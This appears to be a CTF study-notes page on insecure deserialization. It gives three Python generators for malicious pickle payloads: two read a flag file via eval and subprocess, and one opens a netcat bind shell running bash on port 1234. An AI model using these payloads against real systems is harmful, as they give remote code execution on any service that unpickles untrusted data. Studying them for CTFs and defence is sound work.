> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/web/web-attacks/insecure-deserialization.md).

# Insecure Deserialization

## Deserialization examples

### Python deserialization

#### Pickle

Example 1 with eval-function

```python
#!/usr/bin/env python

import base64, pickle

class Malicious:
    def __reduce__(self):
        # Return a tuple: (callable, args)
        return (eval, ("open('flag.txt').read()",))

# Generate and encode the payload
payload = pickle.dumps(Malicious())
encoded = base64.b64encode(payload).decode()
print(encoded)
```

Example 2 with subprocess (will output bytes)

```python
#!/usr/bin/env python

import base64, pickle, subprocess

class Malicious:
    def __reduce__(self):
        # Command we want to run
        cmd = ['cat', 'flag.txt']
        
        return (subprocess.check_output, (cmd,))

payload = pickle.dumps(Malicious())
encoded = base64.b64encode(payload).decode()
print(encoded)
```

Example 3 with os.system (will output exit code only!)

```python
#!/usr/bin/env python

import base64, pickle, os

class Malicious:
    def __reduce__(self):
        return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))

payload = pickle.dumps(Malicious())
encoded = base64.b64encode(payload).decode()
print(encoded)
```

## Resources

Deserialization - HackTricks: <https://book.hacktricks.wiki/en/pentesting-web/deserialization/index.html>

Insecure Deserialization - PayloadAllTheThings: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/README.md>

Insecure deserialization - PortSwigger: <https://portswigger.net/web-security/deserialization>
